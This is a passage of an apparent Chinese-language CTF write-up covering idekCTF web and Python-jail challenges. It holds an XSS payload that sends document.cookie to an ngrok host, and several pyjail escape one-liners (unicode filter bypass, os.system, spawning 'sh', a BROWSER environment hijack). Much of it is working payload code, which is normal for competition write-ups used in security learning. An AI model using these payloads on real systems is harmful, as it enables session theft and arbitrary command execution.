    <iframe name=config srcdoc='<head></head><frameset id=opts cols="/*">
            <frame id=debug src=about:blank />
        </frameset>
    '></iframe>
    <script src=/static/js/main.js?iframe></` + `script>`
	window.name = '(new Image).src = "https://???.ngrok.io/report?" + document.cookie'
	location =
		target +
		'?json=' +
		encodeURIComponent(
			JSON.stringify({
				a: `<iframe srcdoc='${htmlEscape(ht)}'></iframe>`
			})
		)
</script>

idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}

其實上面那個 JSON.stringify([0], null, 'eval(name),') 只需要換成 JSON.stringify([-1], null, 'eval(name)') 就行了，這麼簡單的東西我居然賽後才看到別人的討論才發現...

misc

pyjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print('welcome!')

while True:
    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

看到這個讓我想到 hsctf 9 - pass v2 的一個 unintended solution，所以用這個直接秒殺

1
setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()

idek{9eece9b4de9380bc3a41777a8884c185}

Pyjail Revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3

def main():
    blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
    DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
    DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

    print('welcome!')

    # NO LOOP!

    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

if __name__ == '__main__':
    main()

可以看到對於我前一題的做法來說除了多擋了 globals 以外都沒差，而那個可以透過 unicode 繞過:

1
setattr(copyright,'__dict__',gloｂals()),delattr(copyright,'breakpoint'),breakpoint()

idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

其他在 Discord 看到的有趣解法:

@downgrade (Intended Solution):

1
__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))

@intrigus, @Robin:

1
(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))

@AdnanSlef:

1
setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')

@lebr0nli:

gist

@JoshL:

1
setattr(__import__("__main__"), "blocklist", list())